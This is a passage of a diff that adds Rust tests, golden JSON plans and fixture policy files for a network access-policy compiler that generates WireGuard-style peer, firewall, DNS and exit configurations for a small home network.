+//! Mandatory test 4: the same input compiles byte-identically — twice, with every input list shuffled, with +//! CRLF road files, and against committed golden plans (`tests/fixtures/home/expected/`, regenerated with +//! `VIA_BLESS=1` only on purpose). + +mod common; + +use common::{Parts, home_dir, plans_bytes}; + +#[test] +fn the_same_input_gives_the_same_bytes_twice() { + let a = plans_bytes(&Parts::home().compile()); + let b = plans_bytes(&Parts::home().compile()); + assert!(!a.is_empty()); + assert_eq!(a, b); +} + +fn reversed_json_lists(text: &str, open: &str) -> String { + // Reverses the one-line items of the JSON list that starts at `open` (the fixtures keep one item per + // line, multi-line items are joined first). + let start = text.find(open).unwrap() + open.len(); + let end = start + text[start..].find("\n ]").unwrap(); + let body = &text[start..end]; + let mut items: Vec = Vec::new(); + let mut cur = String::new(); + let mut depth = 0i32; + for ch in body.chars() { + match ch { + '{' | '[' => depth += 1, + '}' | ']' => depth -= 1, + _ => {} + } + if ch == ',' && depth == 0 { + items.push(cur.trim().to_string()); + cur.clear(); + } else { + cur.push(ch); + } + } + items.push(cur.trim().to_string()); + items.reverse(); + format!( + "{}\n {}{}", + &text[..start], + items.join(",\n "), + &text[end..] + ) +} + +#[test] +fn shuffled_inputs_give_the_same_bytes() { + // QA R-53: file order, people, devices and group members reversed. + let base = plans_bytes(&Parts::home().compile()); + let mut parts = Parts::home(); + parts.roads.reverse(); + let parts = parts + .edit_devices(|d| reversed_json_lists(d, "\"devices\": [")) + .edit_directory(|d| { + reversed_json_lists(d, "\"people\": [") + .replace(r#"["mark", "jana"]"#, r#"["jana", "mark"]"#) + }); + assert_ne!( + parts.devices, + Parts::home().devices, + "the device list really was reordered" + ); + assert_eq!(plans_bytes(&parts.compile()), base); +} + +#[test] +fn crlf_road_files_compile_like_lf_ones() { + // QA R-39. The custom road's raw block is kept byte for byte, CR included, so it stays LF here. + let base = plans_bytes(&Parts::home().compile()); + let mut parts = Parts::home(); + for (name, bytes) in parts.roads.iter_mut() { + if !name.starts_with("x1d7qa") { + *bytes = String::from_utf8(bytes.clone()) + .unwrap() + .replace('\n', "\r\n") + .into_bytes(); + } + } + let c = parts.compile(); + assert_eq!(c.errors().count(), 0, "{:?}", c.problems); + assert_eq!(plans_bytes(&c), base); +} + +#[test] +fn plans_match_the_committed_golden_files() { + // QA R-54: no paths, no clock, no locale in the output; the same bytes on every platform. + let c = Parts::home().compile(); + let dir = home_dir().join("expected"); + let bless = std::env::var_os("VIA_BLESS").is_some(); + if bless { + std::fs::create_dir_all(&dir).unwrap(); + } + for p in c.plans.values() { + let path = dir.join(format!("{}.json", p.name)); + if bless { + std::fs::write(&path, p.to_json()).unwrap(); + continue; + } + let want = std::fs::read_to_string(&path) + .unwrap_or_else(|_| panic!("missing golden {}", path.display())); + assert_eq!(p.to_json(), want, "{} differs from its golden file", p.name); + } + assert_eq!( + std::fs::read_dir(&dir).unwrap().count(), + c.plans.len(), + "a golden file without a device" + ); +} diff --git a/crates/roads/tests/explain.rs b/crates/roads/tests/explain.rs new file mode 100644 index 0000000..33a4018 --- /dev/null +++ b/crates/roads/tests/explain.rs @@ -0,0 +1,148 @@ +//! Mandatory test 5: `explain` returns exactly the roads that allow access, and nothing when access is denied +//! — expired, invalid and custom roads included in the store. + +mod common; + +use common::{Parts, key}; +use roads::net::Net; +use roads::{Hostname, Place, explain}; + +fn ids(parts: &Parts, device: u8, place: &Place) -> Vec { + let c = parts.compile(); + let store = parts.store(); + explain(&c, store.devices.as_ref().unwrap(), &key(device), place) + .iter() + .map(|r| r.to_string()) + .collect() +} + +fn service(h: &str) -> Place { + Place::Service(Hostname::new(h).unwrap()) +} + +fn subnet(s: &str) -> Place { + Place::Subnet(Net::parse_canonical(s).unwrap()) +} + +#[test] +fn allowed_lists_exactly_the_allowing_roads() { + let home = Parts::home(); + assert_eq!( + ids(&home, 3, &service("photos.home.arpa")), + ["7tq0mz", "k3f9q2"] + ); + assert_eq!( + ids(&home, 3, &Place::Device(key(2))), + ["7tq0mz", "k3f9q2"], + "a service road reaches part of the device" + ); + assert_eq!(ids(&home, 1, &subnet("192.168.100.0/24")), ["h2x8vd"]); + assert_eq!( + ids(&home, 1, &subnet("192.168.100.10/32")), + ["h2x8vd"], + "a part of a granted subnet" + ); + assert_eq!( + ids(&home, 5, &Place::Device(key(2))), + ["r8m2tg"], + "the custom road is not a grant" + ); +} + +#[test] +fn each_listed_road_is_enough_on_its_own() { + // The listed set is the compiler's own: keep only one listed road and access remains. + let home = Parts::home(); + for keep in ["7tq0mz", "k3f9q2"] { + let mut only = Parts::home(); + only.roads.retain(|(n, _)| n.starts_with(keep)); + assert_eq!(ids(&only, 3, &service("photos.home.arpa")), [keep]); + } + let _ = home; +} + +#[test] +fn denied_returns_nothing_even_with_expired_and_invalid_roads_about_the_place() { + let parts = Parts::home().with_road( + "d00001-jana-lan.md", + "---\nid: d00001\nsubject: person:jana\nverb: can-reach\nobject: subnet:192.168.100.0/24\nuntill: 2026-12-01T00:00:00Z\ncreated: 2026-11-25T10:00:00Z\n---\n", + ); + assert!(parts.compile().errors().any(|p| p.path.contains("d00001"))); + assert!(ids(&parts, 3, &subnet("192.168.100.0/24")).is_empty()); + assert!( + ids(&parts, 7, &service("git.home.arpa")).is_empty(), + "the expired road is not listed" + ); + assert!(ids(&parts, 7, &Place::Device(key(2))).is_empty()); + assert!( + ids(&parts, 3, &subnet("10.0.0.0/8")).is_empty(), + "a place nobody routes" + ); + assert!( + ids(&parts, 3, &service("nowhere.home.arpa")).is_empty(), + "a place that does not exist" + ); +} + +#[test] +fn exits_count_for_the_internet_but_not_for_private_ranges() { + let home = Parts::home(); + assert_eq!(ids(&home, 7, &Place::Exit(key(6))), ["c0z5wn"]); + assert_eq!(ids(&home, 7, &subnet("8.8.8.0/24")), ["c0z5wn"]); + assert!( + ids(&home, 7, &subnet("192.168.1.0/24")).is_empty(), + "an exit is not a way into its LAN" + ); + assert!(ids(&home, 7, &Place::Exit(key(2))).is_empty()); +} + +#[test] +fn going_direct_takes_a_subnet_out_of_the_exit_unless_the_kill_switch_wins() { + let direct = "---\nid: d00002\nsubject: device:AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE\nverb: goes-direct\nobject: subnet:8.8.8.0/24\ncreated: 2026-11-25T10:00:00Z\n---\n"; + // mark-pc has a kill switch: it wins, so 8.8.8.0/24 still goes through the exit. + let with_kill = Parts::home().with_road("d00002-direct.md", direct); + assert_eq!(ids(&with_kill, 1, &subnet("8.8.8.0/24")), ["p4n6rb"]); + assert!( + with_kill + .compile() + .problems + .iter() + .any(|p| p.code == roads::rules::DIRECT_KILL_SWITCH && p.path.contains("d00002")) + ); + // Without the kill switch the subnet goes direct, and the exit road no longer explains it. + let without = Parts::home() + .without_road("w9c3ke") + .with_road("d00002-direct.md", direct); + assert!(ids(&without, 1, &subnet("8.8.8.0/24")).is_empty()); + assert_eq!(ids(&without, 1, &subnet("1.1.1.0/24")), ["p4n6rb"]); +} + +#[test] +fn two_roads_granting_the_same_rule_give_one_rule_and_both_explain_it() { + // QA R-16: a diamond. Jana is in two groups whose roads both reach the photos on tcp/443. + let parts = Parts::home() + .edit_directory(|d| d.replace( + r#"{ "id": "household", "name": "Household", "members": ["mark", "jana"] }"#, + r#"{ "id": "household", "name": "Household", "members": ["mark", "jana"] }, + { "id": "friends", "name": "Friends", "members": ["jana"] }"#, + )) + .with_road( + "d00003-friends-photos.md", + "---\nid: d00003\nsubject: group:friends\nverb: can-reach\nobject: service:photos.home.arpa\ncreated: 2026-11-25T10:00:00Z\n---\n", + ); + let c = parts.compile(); + assert_eq!(c.errors().count(), 0, "{:?}", c.problems); + let rules: Vec<_> = c.plans[&key(2)] + .firewall + .rules + .iter() + .filter(|r| r.src.to_string() == "100.96.0.3/32" && r.ports == Some([443, 443])) + .collect(); + assert_eq!(rules.len(), 1, "{rules:?}"); + let roads: Vec = rules[0].roads.iter().map(|r| r.to_string()).collect(); + assert_eq!(roads, ["7tq0mz", "d00003"]); + assert_eq!( + ids(&parts, 3, &service("photos.home.arpa")), + ["7tq0mz", "d00003", "k3f9q2"] + ); +} diff --git a/crates/roads/tests/fixtures/home/devices.json b/crates/roads/tests/fixtures/home/devices.json new file mode 100644 index 0000000..0a20409 --- /dev/null +++ b/crates/roads/tests/fixtures/home/devices.json @@ -0,0 +1,17 @@ +{ + "format": 1, + "devices": [ + { "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" }, + { "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true, + "routes": ["192.168.100.0/24"], + "services": [ + { "host": "photos.home.arpa", "ports": ["tcp/443"] }, + { "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] } + ] }, + { "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" }, + { "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" }, + { "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true }, + { "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true }, + { "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "100.96.0.7" } + ] +} diff --git a/crates/roads/tests/fixtures/home/directory.json b/crates/roads/tests/fixtures/home/directory.json new file mode 100644 index 0000000..08db0f2 --- /dev/null +++ b/crates/roads/tests/fixtures/home/directory.json @@ -0,0 +1,12 @@ +{ + "format": 1, + "people": [ + { "id": "mark", "name": "Mark" }, + { "id": "jana", "name": "Jana" }, + { "id": "petr", "name": "Petr" }, + { "id": "eva", "name": "Eva" } + ], + "groups": [ + { "id": "household", "name": "Household", "members": ["mark", "jana"] } + ] +} diff --git a/crates/roads/tests/fixtures/home/expected/friend-node.json b/crates/roads/tests/fixtures/home/expected/friend-node.json new file mode 100644 index 0000000..2fad880 --- /dev/null +++ b/crates/roads/tests/fixtures/home/expected/friend-node.json @@ -0,0 +1,51 @@ +{ + "format": 1, + "device": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", + "name": "friend-node", + "address": "100.96.0.6", + "classic": false, + "expires": null, + "peers": [ + { + "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", + "name": "petr-phone", + "address": "100.96.0.7", + "classic": false, + "allowed_ips": [ + "100.96.0.7/32" + ], + "via": null, + "roads": [ + "c0z5wn" + ] + } + ], + "firewall": { + "default": "deny", + "rules": [ + { + "direction": "forward", + "src": "100.96.0.7/32", + "dst": "internet", + "proto": "any", + "ports": null, + "roads": [ + "c0z5wn" + ] + } + ] + }, + "dns": [], + "exit": null, + "kill_switch": null, + "direct": [ + { + "app": "steam", + "subnet": "0.0.0.0/0", + "roads": [ + "e5yj1s" + ] + } + ], + "custom": [] +} diff --git a/crates/roads/tests/fixtures/home/expected/home-server.json b/crates/roads/tests/fixtures/home/expected/home-server.json new file mode 100644 index 0000000..cae2767 --- /dev/null +++ b/crates/roads/tests/fixtures/home/expected/home-server.json @@ -0,0 +1,186 @@ +{ + "format": 1, + "device": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", + "name": "home-server", + "address": "100.96.0.2", + "classic": false, + "expires": "2026-11-29T22:59:59Z", + "peers": [ + { + "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", + "name": "mark-pc", + "address": "100.96.0.1", + "classic": false, + "allowed_ips": [ + "100.96.0.1/32" + ], + "via": null, + "roads": [ + "h2x8vd", + "k3f9q2", + "p4n6rb" + ] + }, + { + "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", + "name": "jana-phone", + "address": "100.96.0.3", + "classic": false, + "allowed_ips": [ + "100.96.0.3/32" + ], + "via": null, + "roads": [ + "7tq0mz", + "k3f9q2" + ] + }, + { + "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", + "name": "jana-laptop", + "address": "100.96.0.4", + "classic": false, + "allowed_ips": [ + "100.96.0.4/32" + ], + "via": null, + "roads": [ + "7tq0mz", + "k3f9q2" + ] + }, + { + "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", + "name": "router", + "address": "100.96.0.5", + "classic": true, + "allowed_ips": [ + "100.96.0.5/32" + ], + "via": null, + "roads": [ + "r8m2tg" + ] + } + ], + "firewall": { + "default": "deny", + "rules": [ + { + "direction": "in", + "src": "100.96.0.1/32", + "dst": "100.96.0.2/32", + "proto": "any", + "ports": null, + "roads": [ + "k3f9q2" + ] + }, + { + "direction": "in", + "src": "100.96.0.3/32", + "dst": "100.96.0.2/32", + "proto": "any", + "ports": null, + "roads": [ + "k3f9q2" + ] + }, + { + "direction": "in", + "src": "100.96.0.3/32", + "dst": "100.96.0.2/32", + "proto": "tcp", + "ports": [ + 443, + 443 + ], + "roads": [ + "7tq0mz" + ] + }, + { + "direction": "in", + "src": "100.96.0.4/32", + "dst": "100.96.0.2/32", + "proto": "any", + "ports": null, + "roads": [ + "k3f9q2" + ] + }, + { + "direction": "in", + "src": "100.96.0.4/32", + "dst": "100.96.0.2/32", + "proto": "tcp", + "ports": [ + 443, + 443 + ], + "roads": [ + "7tq0mz" + ] + }, + { + "direction": "in", + "src": "100.96.0.5/32", + "dst": "100.96.0.2/32", + "proto": "tcp", + "ports": [ + 22, + 22 + ], + "roads": [ + "r8m2tg" + ] + }, + { + "direction": "in", + "src": "100.96.0.5/32", + "dst": "100.96.0.2/32", + "proto": "udp", + "ports": [ + 53, + 53 + ], + "roads": [ + "r8m2tg" + ] + }, + { + "direction": "forward", + "src": "100.96.0.1/32", + "dst": "192.168.100.0/24", + "proto": "any", + "ports": null, + "roads": [ + "h2x8vd" + ] + }, + { + "direction": "forward", + "src": "100.96.0.1/32", + "dst": "internet", + "proto": "any", + "ports": null, + "roads": [ + "p4n6rb" + ] + } + ] + }, + "dns": [], + "exit": null, + "kill_switch": null, + "direct": [ + { + "app": "steam", + "subnet": "0.0.0.0/0", + "roads": [ + "e5yj1s" + ] + } + ], + "custom": [] +} diff --git a/crates/roads/tests/fixtures/home/expected/jana-laptop.json b/crates/roads/tests/fixtures/home/expected/jana-laptop.json new file mode 100644 index 0000000..48d7921 --- /dev/null +++ b/crates/roads/tests/fixtures/home/expected/jana-laptop.json @@ -0,0 +1,49 @@ +{ + "format": 1, + "device": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", + "name": "jana-laptop", + "address": "100.96.0.4", + "classic": false, + "expires": "2026-11-29T22:59:59Z", + "peers": [ + { + "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", + "name": "home-server", + "address": "100.96.0.2", + "classic": false, + "allowed_ips": [ + "100.96.0.2/32" + ], + "via": null, + "roads": [ + "7tq0mz", + "k3f9q2" + ] + } + ], + "firewall": { + "default": "deny", + "rules": [] + }, + "dns": [ + { + "host": "photos.home.arpa", + "address": "100.96.0.2", + "roads": [ + "7tq0mz" + ] + } + ], + "exit": null, + "kill_switch": null, + "direct": [ + { + "app": "steam", + "subnet": "0.0.0.0/0", + "roads": [ + "e5yj1s" + ] + } + ], + "custom": [] +} diff --git a/crates/roads/tests/fixtures/home/expected/jana-phone.json b/crates/roads/tests/fixtures/home/expected/jana-phone.json new file mode 100644 index 0000000..fcce017 --- /dev/null +++ b/crates/roads/tests/fixtures/home/expected/jana-phone.json @@ -0,0 +1,49 @@ +{ + "format": 1, + "device": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", + "name": "jana-phone", + "address": "100.96.0.3", + "classic": false, + "expires": "2026-11-29T22:59:59Z", + "peers": [ + { + "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", + "name": "home-server", + "address": "100.96.0.2", + "classic": false, + "allowed_ips": [ + "100.96.0.2/32" + ], + "via": null, + "roads": [ + "7tq0mz", + "k3f9q2" + ] + } + ], + "firewall": { + "default": "deny", + "rules": [] + }, + "dns": [ + { + "host": "photos.home.arpa", + "address": "100.96.0.2", + "roads": [ + "7tq0mz" + ] + } + ], + "exit": null, + "kill_switch": null, + "direct": [ + { + "app": "steam", + "subnet": "0.0.0.0/0", + "roads": [ + "e5yj1s" + ] + } + ], + "custom": [] +} diff --git a/crates/roads/tests/fixtures/home/expected/mark-pc.json b/crates/roads/tests/fixtures/home/expected/mark-pc.json new file mode 100644 index 0000000..f6c8f47 --- /dev/null +++ b/crates/roads/tests/fixtures/home/expected/mark-pc.json @@ -0,0 +1,47 @@ +{ + "format": 1, + "device": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", + "name": "mark-pc", + "address": "100.96.0.1", + "classic": false, + "expires": null, + "peers": [ + { + "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", + "name": "home-server", + "address": "100.96.0.2", + "classic": false, + "allowed_ips": [ + "0.0.0.0/0", + "100.96.0.2/32", + "192.168.100.0/24", + "::/0" + ], + "via": null, + "roads": [ + "h2x8vd", + "k3f9q2", + "p4n6rb" + ] + } + ], + "firewall": { + "default": "deny", + "rules": [] + }, + "dns": [], + "exit": { + "through": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", + "roads": [ + "p4n6rb" + ] + }, + "kill_switch": { + "through": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", + "roads": [ + "w9c3ke" + ] + }, + "direct": [], + "custom": [] +} diff --git a/crates/roads/tests/fixtures/home/expected/petr-phone.json b/crates/roads/tests/fixtures/home/expected/petr-phone.json new file mode 100644 index 0000000..d63918b --- /dev/null +++ b/crates/roads/tests/fixtures/home/expected/petr-phone.json @@ -0,0 +1,46 @@ +{ + "format": 1, + "device": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", + "name": "petr-phone", + "address": "100.96.0.7", + "classic": false, + "expires": null, + "peers": [ + { + "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", + "name": "friend-node", + "address": "100.96.0.6", + "classic": false, + "allowed_ips": [ + "0.0.0.0/0", + "::/0" + ], + "via": null, + "roads": [ + "c0z5wn" + ] + } + ], + "firewall": { + "default": "deny", + "rules": [] + }, + "dns": [], + "exit": { + "through": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", + "roads": [ + "c0z5wn" + ] + }, + "kill_switch": null, + "direct": [ + { + "app": "steam", + "subnet": "0.0.0.0/0", + "roads": [ + "e5yj1s" + ] + } + ], + "custom": [] +} diff --git a/crates/roads/tests/fixtures/home/expected/router.json b/crates/roads/tests/fixtures/home/expected/router.json new file mode 100644 index 0000000..603357e --- /dev/null +++ b/crates/roads/tests/fixtures/home/expected/router.json @@ -0,0 +1,46 @@ +{ + "format": 1, + "device": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", + "name": "router", + "address": "100.96.0.5", + "classic": true, + "expires": null, + "peers": [ + { + "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", + "name": "home-server", + "address": "100.96.0.2", + "classic": false, + "allowed_ips": [ + "100.96.0.2/32" + ], + "via": null, + "roads": [ + "r8m2tg" + ] + } + ], + "firewall": { + "default": "deny", + "rules": [] + }, + "dns": [], + "exit": null, + "kill_switch": null, + "direct": [ + { + "app": "steam", + "subnet": "0.0.0.0/0", + "roads": [ + "e5yj1s" + ] + } + ], + "custom": [ + { + "road": "x1d7qa", + "classic": true, + "raw": "[Interface]\nMTU = 1380 \nJc = 4\nH1 = 1234567\n\n[Peer]\nPersistentKeepalive = 25\n# kept exactly as the router had it\n" + } + ] +} diff --git a/crates/roads/tests/fixtures/home/roads/7tq0mz-jana-photos-until-sunday.md b/crates/roads/tests/fixtures/home/roads/7tq0mz-jana-photos-until-sunday.md new file mode 100644 index 0000000..52c9468 --- /dev/null +++ b/crates/roads/tests/fixtures/home/roads/7tq0mz-jana-photos-until-sunday.md @@ -0,0 +1,10 @@ +--- +id: 7tq0mz +subject: person:jana +verb: can-reach +object: service:photos.home.arpa +until: 2026-11-29T23:59:59+01:00 +ports: [tcp/443] +created: 2026-11-25T10:00:00+01:00 +--- +Jana sees the photos until Sunday. diff --git a/crates/roads/tests/fixtures/home/roads/c0z5wn-petr-exits-friend.md b/crates/roads/tests/fixtures/home/roads/c0z5wn-petr-exits-friend.md new file mode 100644 index 0000000..921d1db --- /dev/null +++ b/crates/roads/tests/fixtures/home/roads/c0z5wn-petr-exits-friend.md @@ -0,0 +1,7 @@ +--- +id: c0z5wn +subject: person:petr +verb: exits-through +object: exit:BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY +created: 2026-11-23T20:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/home/roads/e5yj1s-steam-goes-direct.md b/crates/roads/tests/fixtures/home/roads/e5yj1s-steam-goes-direct.md new file mode 100644 index 0000000..6f39e85 --- /dev/null +++ b/crates/roads/tests/fixtures/home/roads/e5yj1s-steam-goes-direct.md @@ -0,0 +1,8 @@ +--- +id: e5yj1s +subject: app:steam +verb: goes-direct +object: subnet:0.0.0.0/0 +created: 2026-11-21T18:30:00+01:00 +--- +Games do not go through the tunnel. diff --git a/crates/roads/tests/fixtures/home/roads/h2x8vd-mark-home-lan.md b/crates/roads/tests/fixtures/home/roads/h2x8vd-mark-home-lan.md new file mode 100644 index 0000000..9776f7f --- /dev/null +++ b/crates/roads/tests/fixtures/home/roads/h2x8vd-mark-home-lan.md @@ -0,0 +1,7 @@ +--- +id: h2x8vd +subject: person:mark +verb: can-reach +object: subnet:192.168.100.0/24 +created: 2026-11-20T09:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/home/roads/k3f9q2-household-home-server.md b/crates/roads/tests/fixtures/home/roads/k3f9q2-household-home-server.md new file mode 100644 index 0000000..05a1df3 --- /dev/null +++ b/crates/roads/tests/fixtures/home/roads/k3f9q2-household-home-server.md @@ -0,0 +1,8 @@ +--- +id: k3f9q2 +subject: group:household +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +created: 2026-11-20T09:00:00+01:00 +--- +The household reaches the home server. diff --git a/crates/roads/tests/fixtures/home/roads/m6v0hp-petr-git-expired.md b/crates/roads/tests/fixtures/home/roads/m6v0hp-petr-git-expired.md new file mode 100644 index 0000000..ee90f62 --- /dev/null +++ b/crates/roads/tests/fixtures/home/roads/m6v0hp-petr-git-expired.md @@ -0,0 +1,8 @@ +--- +id: m6v0hp +subject: person:petr +verb: can-reach +object: service:git.home.arpa +until: 2026-11-01T00:00:00+01:00 +created: 2026-10-01T12:00:00+02:00 +--- diff --git a/crates/roads/tests/fixtures/home/roads/p4n6rb-mark-pc-exits-home.md b/crates/roads/tests/fixtures/home/roads/p4n6rb-mark-pc-exits-home.md new file mode 100644 index 0000000..ebd54c3 --- /dev/null +++ b/crates/roads/tests/fixtures/home/roads/p4n6rb-mark-pc-exits-home.md @@ -0,0 +1,7 @@ +--- +id: p4n6rb +subject: device:AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE +verb: exits-through +object: exit:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +created: 2026-11-20T09:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/home/roads/r8m2tg-router-home-server.md b/crates/roads/tests/fixtures/home/roads/r8m2tg-router-home-server.md new file mode 100644 index 0000000..d9e6d68 --- /dev/null +++ b/crates/roads/tests/fixtures/home/roads/r8m2tg-router-home-server.md @@ -0,0 +1,10 @@ +--- +id: r8m2tg +subject: device:BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU +verb: can-reach +object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +ports: [udp/53, tcp/22] +classic: true +created: 2026-11-22T11:00:00+01:00 +--- +The old router is a classic WireGuard peer. diff --git a/crates/roads/tests/fixtures/home/roads/w9c3ke-mark-pc-kill-switch.md b/crates/roads/tests/fixtures/home/roads/w9c3ke-mark-pc-kill-switch.md new file mode 100644 index 0000000..7c71866 --- /dev/null +++ b/crates/roads/tests/fixtures/home/roads/w9c3ke-mark-pc-kill-switch.md @@ -0,0 +1,7 @@ +--- +id: w9c3ke +subject: device:AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE +verb: never-online-without +object: exit:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI +created: 2026-11-20T09:00:00+01:00 +--- diff --git a/crates/roads/tests/fixtures/home/roads/x1d7qa-router-imported.md b/crates/roads/tests/fixtures/home/roads/x1d7qa-router-imported.md new file mode 100644 index 0000000..1e7376d --- /dev/null +++ b/crates/roads/tests/fixtures/home/roads/x1d7qa-router-imported.md @@ -0,0 +1,17 @@ +--- +id: x1d7qa +subject: device:BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU +verb: custom +classic: true +created: 2026-11-22T11:05:00+01:00 +--- +```raw +[Interface] +MTU = 1380 +Jc = 4 +H1 = 1234567 + +[Peer] +PersistentKeepalive = 25 +# kept exactly as the router had it +``` diff --git a/crates/roads/tests/fixtures/invalid/expect.txt b/crates/roads/tests/fixtures/invalid/expect.txt new file mode 100644 index 0000000..87c2278 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/expect.txt @@ -0,0 +1,67 @@ +# kind file code field ("-" for none). Each line is one failing fixture; tests/validation.rs reads it. +road bad_name.md file.name - +road a00001-no-header.md file.header - +road a00002-unclosed.md file.header - +road a00003-anchor.md yaml.refused subject +road a00004-colon.md yaml.syntax subject +road a00005-untill.md key.unknown untill +road a00006-until-capital.md key.unknown Until +road a00007-duplicate-until.md key.duplicate until +road a00008-no-created.md key.missing created +road a00009-ports-on-exit.md key.forbidden ports +road a00010-ports-scalar.md key.type ports +road a00011-bad-id.md id.format id +road a00012-id-mismatch.md id.file-name id +road a00014-verb-case.md verb.unknown verb +road a00015-everyone.md ref.format subject +road a00016-mapped-ipv6.md ref.format object +road a00017-subject-kind.md subject.kind subject +road a00018-nobody.md subject.unknown subject +road a00019-object-kind.md object.kind object +road a00020-no-service.md object.unknown object +road a00021-not-exit.md object.not-exit object +road a00022-host-bits.md subnet.not-canonical object +road a00023-unrouted.md subnet.unrouted object +road a00024-half-internet.md subnet.unrouted object +road a00025-naive-until.md until.format until +road a00026-created.md created.format created +road a00027-port-zero.md ports.format ports +road a00028-empty-ports.md ports.format ports +road a00029-not-served.md ports.not-served ports +road a00030-via-word.md via.format via +road a00031-via-unknown.md via.unknown via +road a00032-via-not-relay.md via.not-relay via +road a00033-classic-yes.md classic.format classic +road a00034-classic-unsaid.md classic.unacknowledged classic +road a00035-custom-no-raw.md body.raw-missing - +road a00036-raw-in-note.md body.raw-outside-custom - +road a00037-postup.md body.raw-hook - +road a00038-expired.md road.expired until +road a00039-eva-no-devices.md road.no-devices subject +road a00040-self.md road.self object +road a00041-second-exit.md exit.conflict object +road a00042-direct-public.md direct.kill-switch object +road a00043-custom-object.md key.forbidden object +road a00044-tab.md yaml.refused - +directory unknown-field.directory.json snapshot.json - +directory format-two.directory.json snapshot.format format +directory bad-person-id.directory.json directory.id people[3].id +directory duplicate-person.directory.json directory.duplicate people[3].id +directory name-newline.directory.json directory.name people[3].name +directory name-bidi.directory.json directory.name people[3].name +directory member-unknown.directory.json directory.member groups[0].members[1] +directory member-group.directory.json directory.member groups[0].members[1] +devices unknown-field.devices.json snapshot.json - +devices bad-key.devices.json devices.key devices[0].key +devices duplicate-key.devices.json devices.duplicate devices[6].key +devices name-newline.devices.json devices.name devices[0].name +devices owner-unknown.devices.json devices.owner devices[6].owner +devices address-twice.devices.json devices.address devices[6].address +devices address-in-route.devices.json devices.address devices.petr-phone.address +devices address-loopback.devices.json devices.address devices[6].address +devices route-host-bits.devices.json devices.route devices[1].routes[0] +devices route-internet.devices.json devices.route devices[1].routes[0] +devices route-link-local.devices.json devices.route devices[1].routes[0] +devices route-overlap.devices.json devices.overlap devices.friend-node.routes +devices service-host.devices.json devices.service devices[1].services[0].host +devices service-no-ports.devices.json devices.ports devices[1].services[0].ports diff --git a/crates/roads/tests/fixtures/invalid/roads/a00001-no-header.md b/crates/roads/tests/fixtures/invalid/roads/a00001-no-header.md new file mode 100644 index 0000000..44bb85d --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00001-no-header.md @@ -0,0 +1,2 @@ +id: a00001 +subject: person:jana diff --git a/crates/roads/tests/fixtures/invalid/roads/a00002-unclosed.md b/crates/roads/tests/fixtures/invalid/roads/a00002-unclosed.md new file mode 100644 index 0000000..549c6d6 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00002-unclosed.md @@ -0,0 +1,4 @@ +--- +id: a00002 +subject: person:jana +verb: can-reach diff --git a/crates/roads/tests/fixtures/invalid/roads/a00003-anchor.md b/crates/roads/tests/fixtures/invalid/roads/a00003-anchor.md new file mode 100644 index 0000000..156dcda --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/roads/a00003-anchor.md @@ -0,0 +1,7 